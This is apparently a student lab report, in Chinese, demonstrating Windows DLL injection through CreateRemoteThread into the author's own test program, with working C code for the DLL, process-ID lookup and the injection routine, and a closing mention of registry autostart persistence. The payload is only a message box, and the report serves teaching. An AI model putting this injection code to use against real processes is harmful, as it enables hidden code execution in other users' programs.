• 20145319 《网络渗透》免考—远程注入


    20145319 《网络渗透》免考—远程注入

    概述

    • 本次实验在window环境下进行,通过将自己编写的dll文件以远程线程的方式注入到宿主程序的虚拟地址空间中完成注入
    • 主要知识如下
      • 动静态库相关知识(语法以及制作)
      • 进程,线程相关概念
      • 系统快照,进程枚举等相关知识(windows api函数)

    实验内容

    概述

    • 当我们运行一个应用程序时,就会在系统中创建一个进程,可以说进程就是一个程序的执行实例。而线程是操作系统能够进行运算调度的最小单位,被包含在进程中,是进程的实际运作单位。
    • 正常状况下,每个进程被创建时,系统都会分配给其相应的一块虚拟地址空间,将可执行文件或者dll文件的代码加载到该进程空间中执行,理论上,这个虚拟地址空间相当于该进程的“私人空间”,但是CreateRemoteThread函数,通过这个API函数则可以为一个进程新增一个线程,我们就可以通过这个方法来将自身的恶意代码包装成一个线程,来加载到进程的虚拟空间空间中执行,并且共享宿主进程的空间资源,同样,因为我们的恶意代码是作为一个线程“寄生”在宿主进程中的,所以在任务管理器上也无法显示出来,一定程度上也实现了隐藏

    步骤

    • 首先将我们的恶意代码写成一个dll文件,dll文件编写可以参考静态库和动态库的制作

    • 编写一个简单dll,当加载成功时弹窗提示

        #include "windows.h"
      
        BOOL APIENTRY DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
      
        {
        	switch (fdwReason){
        		case DLL_PROCESS_ATTACH:   //dll被加载时,弹出提示
        			MessageBox(NULL, TEXT("hello,5319"), TEXT("提示"), MB_OK);
        			break;
      
        		case DLL_PROCESS_DETACH:   //dll被清除时,弹出提示
        			MessageBox(NULL, TEXT("goodbye,5319"), TEXT("提示"), MB_OK);
        			break;
        	}
      
        	return true;
        }
      
    • 写好了我们的“病毒”程序,我们就需要寻找我们的目标作为宿主(这里我选择了一个自己编写的窗口小程序hello5319.exe)通过系统函数获取其Pid以便进行下一步操作

        DWORD getPID()
        {
        	PROCESSENTRY32 pe32;
        	pe32.dwSize = sizeof(pe32);
      
        	HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
      
        	if (hProcessSnap == INVALID_HANDLE_VALUE)
      
        	{
        		return false;
        	}
      
        	BOOL bMore = Process32First(hProcessSnap, &pe32);
        	while (bMore)
        	{
        		if (!stricmp(pe32.szExeFile, "hello5319.exe")){  //获取该进程的句柄
        			HANDLE handle = OpenProcess(PROCESS_ALL_ACCESS,false, pe32.th32ProcessID);
        			if (handle == NULL)
        			{
        				exit(0);
        			}
        			CloseHandle(hProcessSnap);
        			CloseHandle(handle);
        			break;
      
        		}
        		else
        			bMore = Process32Next(hProcessSnap, &pe32);
      
        	}
      
        	return pe32.th32ProcessID; //返回此进程ID  
      
        }
      
    • 之后就在进程中分配相应空间,创建新线程,使用函数loadlibrary完成dll加载,函数实现如下

        BOOL InjectDll(const char *DllFullPath, const DWORD dwRemoteProcessId)
        {
      
        	HANDLE hProcess;
      
        	hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwRemoteProcessId);
      
        	char *pszdll;
      
        	pszdll = (char *)VirtualAllocEx(hProcess, NULL, lstrlen(DllFullPath) + 1,MEM_COMMIT, PAGE_READWRITE);  //在远程进程的内存地址空间分配DLL文件名空间 
      
        	WriteProcessMemory(hProcess,pszdll, (void *)DllFullPath, lstrlen(DllFullPath) + 1, NULL);//将DLL的路径名写入到远程进程的内存空间  
      
        	DWORD dwID;
        	LPVOID pFunc = LoadLibrary;
        	HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFunc,pszdll, 0, &dwID);
      
        	CloseHandle(hProcess);
        	CloseHandle(hThread);
      
        	return TRUE;
        }
      

    运行结果

    • 首先运行我们的宿主程序hello5319.exe,然后运行我们的注入程序,就可以看到结果

    • 当我们关闭宿主程序时,则弹出提示goodbye,5319

    • 以上我们的远程注入就算是成功了,但是要想进一步完善则需要运用到更多技术,例如,当宿主程序关闭时,dll文件即被清除,无法将其隐藏并保存下来,我们就需要运用资源节方面的技术,或是将修改注册表,将注入程序添加到自启动项,每次开机都完成一次注入,不过那只能等到下一次再一一介绍了

  • 相关阅读:
    解决docx4j 变量替换 由于变量存在样式式或空白字符 导致替换失败问题
    redis批量删除key 远程批量删除key
    idea 集成sonarLint检查代码bugs
    mac jmeter 的使用
    tomcat配置管理员-走后门
    终端mysql Operation not permitted错误解决方案
    update使用inner join
    hibernate 三种状态的转换
    数据库中间表插入乱序
    解决https证书验证不通过的问题
  • 原文地址:https://www.cnblogs.com/20145319zk/p/7044009.html
Copyright © 2020-2023  润新知